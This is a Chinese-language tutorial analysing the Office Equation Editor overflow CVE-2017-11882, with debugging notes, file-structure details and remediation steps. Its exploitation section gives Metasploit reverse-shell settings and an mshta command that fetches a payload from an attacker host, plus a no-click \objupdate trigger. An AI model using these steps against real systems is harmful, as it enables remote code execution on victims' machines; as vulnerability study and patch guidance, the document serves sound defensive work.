Office系列漏洞之CVE-2017-11882
字数 1755 2025-08-18 11:37:33
Microsoft Office CVE-2017-11882漏洞分析与利用指南
一、漏洞概述
CVE-2017-11882是Microsoft Office中的一个高危漏洞,属于缓冲区溢出类型漏洞。该漏洞存在于EQNEDT32.EXE(微软Office自带的公式编辑器)组件中。
漏洞基本信息
- 漏洞ID: CVE-2017-11882
- 漏洞名称: Microsoft Office数学公式编辑器内存损坏漏洞
- 漏洞类型: 远程代码执行
- 威胁类型: 栈溢出
- 影响版本: Microsoft Office 2000/2003/2007 sp3/2010 sp2/2013 sp1/2016
漏洞原理
EQNEDT32.EXE进程在处理包含MathType的OLE数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。攻击者可以通过精心构造的恶意文档覆盖函数的返回地址,从而执行任意代码。
二、漏洞环境搭建
测试环境
- 操作系统: Windows 7 32位
- Office版本: Microsoft Office 2013 sp1
漏洞测试工具
GitHub上提供了漏洞测试工具:
https://github.com/Ridter/CVE-2017-11882
三、漏洞分析
漏洞定位
- 使用OD(OllyDbg)调试EQNEDT32.EXE进程
- 对WinExec函数下断点(因为漏洞利用通常会调用该函数弹出计算器)
- 分析调用栈,找出溢出点
关键分析点
- 漏洞函数位于41160F处
- [ebp+28]分配的空间为0x24,超过此长度就会产生溢出
- 溢出后会覆盖原始返回地址4115D8
- 覆盖后的地址通常指向shellcode存放的位置(如12F350)
数据结构分析
漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中。
Equation Native数据流结构
Equation Native数据流 = EQNOLEFILEHDR + MTEFData
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR头结构(共28字节):
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式头长度,固定为0x1C
DWORD version; // 固定为0x00020000
WORD cf; // 该公式对象的剪贴板格式
DWORD cbObject; // MTEF数据的长度,不包括头部
DWORD reserved1; // 未公开
DWORD reserved2; // 未公开
DWORD reserved3; // 未公开
DWORD reserved4; // 未公开
};
FONT记录结构:
struct stuFontRecord {
BYTE bTag; // 字体文件的tag位0x08
BYTE bTypeFace; // 字体风格
BYTE bStyle; // 字体样式
BYTE bFontName[n] // 字体名称,以NULL为结束符
};
字段说明:
| 字段 | 值 | 说明 |
|---|---|---|
| Tag | 0x08 | 1字节,固定为0x08 |
| tface | typeface number | 1字节,Typeface编号 |
| style | 1或者2 | 1字节,1表示斜体,2表示粗体 |
| name | Font name (null-terminated) | 字体名字,以Null结尾 |
四、漏洞利用
1. 基础利用(弹出计算器)
使用提供的Python脚本生成恶意文档:
python Command_CVE-2017-11882.py -c "calc.exe" -o test.doc
2. Metasploit框架利用
环境准备:
- 目标机:Windows 7 + 有漏洞的Office
- 攻击机:Kali Linux
步骤:
- 下载Metasploit模块:
https://github.com/0x09AL/CVE-2017-11882-metasploit
- 将组件复制到相应目录:
- cve_2017_11882.rb → /usr/share/Metasploit-framework/modules/exploits/windows/smb
- cve-2017-11882.rtf → /usr/share/metasploit-framework/data/exploits
- 启动Metasploit:
msfconsole
- 查找并使用漏洞模块:
search 11882
use exploit/windows/smb/cve_2017_11882
- 设置参数:
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set URIPATH test
- 生成恶意文档:
python Command109b_CVE-2017-11882.py -c "mshta http://<攻击机IP>:8080/test" -o test.doc
- 目标机打开文档后,攻击机将获得meterpreter会话。
RTF结构分析
利用\objupdate控制字使OLE对象自动更新和加载,无需用户交互即可触发漏洞。默认状态下需要用户双击OLE对象才能生效,通过设置为自动更新,打开文档即可执行恶意代码。
五、漏洞修复
1. 官方补丁
下载微软官方补丁进行修复:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
2. 禁用EQNEDT32.EXE组件
执行以下命令取消该模块的注册:
reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
3. 开启自动更新
启用Windows Update功能,定期自动更新系统。
六、总结
CVE-2017-11882是一个影响广泛的Office漏洞,攻击者可以通过精心构造的恶意文档实现远程代码执行。由于EQNEDT32.EXE作为独立进程运行,Office自身的保护机制无法阻止其被利用。建议用户及时安装补丁或禁用相关组件,同时提高安全意识,不要随意打开来源不明的Office文档。